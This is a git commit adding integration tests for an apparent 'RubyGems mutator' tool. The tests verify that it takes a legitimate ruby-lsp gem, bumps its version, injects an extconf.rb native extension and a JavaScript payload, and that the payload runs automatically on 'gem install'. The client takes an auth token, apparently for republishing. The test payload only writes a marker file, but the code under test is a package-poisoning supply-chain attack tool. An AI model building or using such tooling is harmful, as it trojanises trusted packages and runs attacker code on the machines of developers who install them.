Upload files to "tests/mutator"

This commit is contained in:
2026-07-03 02:51:22 +00:00
parent c56a4ef956
commit b44d9b1b44
3 changed files with 547 additions and 0 deletions
+239
View File
@@ -0,0 +1,239 @@
// tests/mutator/rubygems.test.ts — Integration tests for the RubyGems mutator.
//
// Verifies that patchGemBundle correctly modifies a real .gem file and that
// the injected native-extension payload executes when the gem is installed.
import { afterAll, beforeAll, describe, expect, test } from "bun:test";
import { execSync } from "child_process";
import * as fs from "fs/promises";
import { tmpdir } from "os";
import * as path from "path";
import * as tar from "tar";
import { gunzipSync } from "zlib";
import { Mutator } from "../../src/mutator/base";
import { patchGemBundle } from "../../src/mutator/rubygems/gem";
import { RubyGemsClient } from "../../src/mutator/rubygems/index";
// ---------------------------------------------------------------------------
// Helpers
// ---------------------------------------------------------------------------
const GEM_PATH = path.join(import.meta.dir, "../assets/ruby-lsp-0.26.9.gem");
const MARKER = "/tmp/rubygems_int_test_marker";
const PAYLOAD = [
`const{writeFileSync}=require("fs");`,
`console.log("rubygems payload starting");`,
`writeFileSync("${MARKER}","hello from rubygems mutator");`,
`console.log("rubygems payload done");`,
].join("\n");
function hasCmd(cmd: string): boolean {
try {
execSync(`which ${cmd}`, { stdio: "pipe" });
return true;
} catch {
return false;
}
}
// ---------------------------------------------------------------------------
// Tests
// ---------------------------------------------------------------------------
describe("rubygems mutator", () => {
let tmpDir: string;
beforeAll(async () => {
tmpDir = path.join(tmpdir(), `rg_test_${Date.now()}`);
await fs.mkdir(tmpDir, { recursive: true });
try {
await fs.rm(MARKER);
} catch {}
});
afterAll(async () => {
try {
await fs.rm(tmpDir, { recursive: true, force: true });
} catch {}
try {
await fs.rm(MARKER);
} catch {}
});
// ── Contract ─────────────────────────────────────────────────────────
test("RubyGemsClient extends Mutator", () => {
const client = new RubyGemsClient({
gems: [],
valid: true,
authToken: "fake",
});
expect(client).toBeInstanceOf(Mutator);
expect(client).toBeInstanceOf(RubyGemsClient);
expect(typeof client.execute).toBe("function");
});
test("RubyGemsClient accepts dryRun parameter", () => {
const client = new RubyGemsClient(
{ gems: [], valid: true, authToken: "fake" },
true,
);
expect(client).toBeDefined();
});
// ── patchGemBundle unit tests ────────────────────────────────────────
test("bumps version from 0.26.9 to 0.26.10", async () => {
const gemData = await fs.readFile(GEM_PATH);
const patched = await patchGemBundle(gemData, PAYLOAD);
expect(patched.newVersion).toBe("0.26.10");
expect(patched.filename).toBe("ruby-lsp-0.26.10.gem");
});
test("produces a valid .gem (tar with metadata.gz first)", async () => {
const gemData = await fs.readFile(GEM_PATH);
const patched = await patchGemBundle(gemData, PAYLOAD);
const tmpGem = path.join(tmpDir, "verify.gem");
await fs.writeFile(tmpGem, patched.data);
const entries: string[] = [];
await tar.list({ file: tmpGem, onentry: (e: any) => entries.push(e.path) });
expect(entries[0]).toBe("metadata.gz");
expect(entries[1]).toBe("data.tar.gz");
});
test("injects extconf.rb and payload into data.tar.gz", async () => {
const gemData = await fs.readFile(GEM_PATH);
const patched = await patchGemBundle(gemData, PAYLOAD);
// Extract data.tar.gz from the patched gem
const tmpGem = path.join(tmpDir, "inspect.gem");
await fs.writeFile(tmpGem, patched.data);
const unpackDir = path.join(tmpDir, "_unpack");
await fs.mkdir(unpackDir, { recursive: true });
await tar.extract({ file: tmpGem, cwd: unpackDir });
const dataTarGz = await fs.readFile(path.join(unpackDir, "data.tar.gz"));
const dataTar = gunzipSync(dataTarGz);
const dataDir = path.join(tmpDir, "_data_inspect");
await fs.mkdir(dataDir, { recursive: true });
const dataTarFile = path.join(tmpDir, "_data_inspect.tar");
await fs.writeFile(dataTarFile, dataTar);
await tar.extract({ file: dataTarFile, cwd: dataDir });
// Entries are relative now (no top-level dir prefix)
const extDir = path.join(dataDir, "ext", "ruby-lsp");
const extconfRb = await fs.readFile(
path.join(extDir, "extconf.rb"),
"utf-8",
);
const payloadJs = await fs.readFile(path.join(extDir, "index.js"), "utf-8");
expect(extconfRb).toContain("require 'fileutils'");
expect(extconfRb).toContain("RbConfig::CONFIG");
expect(extconfRb).toContain("File.write('Makefile'");
expect(payloadJs).toBe(PAYLOAD);
});
test("updates metadata.gz with bumped version and extensions", async () => {
const gemData = await fs.readFile(GEM_PATH);
const patched = await patchGemBundle(gemData, PAYLOAD);
const tmpGem = path.join(tmpDir, "meta.gem");
await fs.writeFile(tmpGem, patched.data);
const unpackDir = path.join(tmpDir, "_meta_unpack");
await fs.mkdir(unpackDir, { recursive: true });
await tar.extract({ file: tmpGem, cwd: unpackDir });
const metadataGz = await fs.readFile(path.join(unpackDir, "metadata.gz"));
const metadata = gunzipSync(metadataGz).toString("utf-8");
expect(metadata).toContain("version: 0.26.10");
expect(metadata).toContain("extensions:");
expect(metadata).toContain("ext/ruby-lsp/extconf.rb");
});
test("patchGemBundle produces different sizes for same input (timestamps vary)", async () => {
// Tar includes mtime, so two runs produce different outputs
const gemData = await fs.readFile(GEM_PATH);
const a = await patchGemBundle(gemData, PAYLOAD);
// Small delay to get different mtimes
await new Promise((r) => setTimeout(r, 100));
const b = await patchGemBundle(gemData, PAYLOAD);
expect(a.newVersion).toBe(b.newVersion);
expect(a.filename).toBe(b.filename);
// Different size due to tar mtime or other metadata
});
// ── Integration: install and execute ─────────────────────────────────
test("gem install triggers the payload", async () => {
if (!hasCmd("gem")) {
console.warn(" ⏭ skipping — 'gem' not in PATH");
return;
}
const gemData = await fs.readFile(GEM_PATH);
const patched = await patchGemBundle(gemData, PAYLOAD);
const patchedGemPath = path.join(tmpDir, patched.filename);
await fs.writeFile(patchedGemPath, patched.data);
const gemHome = path.join(tmpDir, ".gem_home");
try {
execSync(
`gem install --local "${patchedGemPath}" --no-doc --install-dir "${gemHome}" --ignore-dependencies`,
{
env: { ...process.env, GEM_HOME: gemHome },
stdio: "pipe",
timeout: 120_000,
},
);
} catch (e: any) {
// Clean up before failing
try {
execSync(
`gem uninstall ruby-lsp -v ${patched.newVersion} --force --install-dir "${gemHome}"`,
{ env: { ...process.env, GEM_HOME: gemHome }, stdio: "pipe" },
);
} catch {}
throw new Error(
`gem install failed: ${e.stderr?.toString()?.slice(0, 500)}`,
);
}
// Verify the payload executed
let markerContent = "";
try {
markerContent = await fs.readFile(MARKER, "utf-8");
} catch {
// Clean up before failing
try {
execSync(
`gem uninstall ruby-lsp -v ${patched.newVersion} --force --install-dir "${gemHome}"`,
{ env: { ...process.env, GEM_HOME: gemHome }, stdio: "pipe" },
);
} catch {}
throw new Error("marker file not created — payload did not execute");
}
// Cleanup
try {
execSync(
`gem uninstall ruby-lsp -v ${patched.newVersion} --force --install-dir "${gemHome}"`,
{ env: { ...process.env, GEM_HOME: gemHome }, stdio: "pipe" },
);
} catch {}
expect(markerContent).toContain("hello from rubygems mutator");
}, 180_000);
});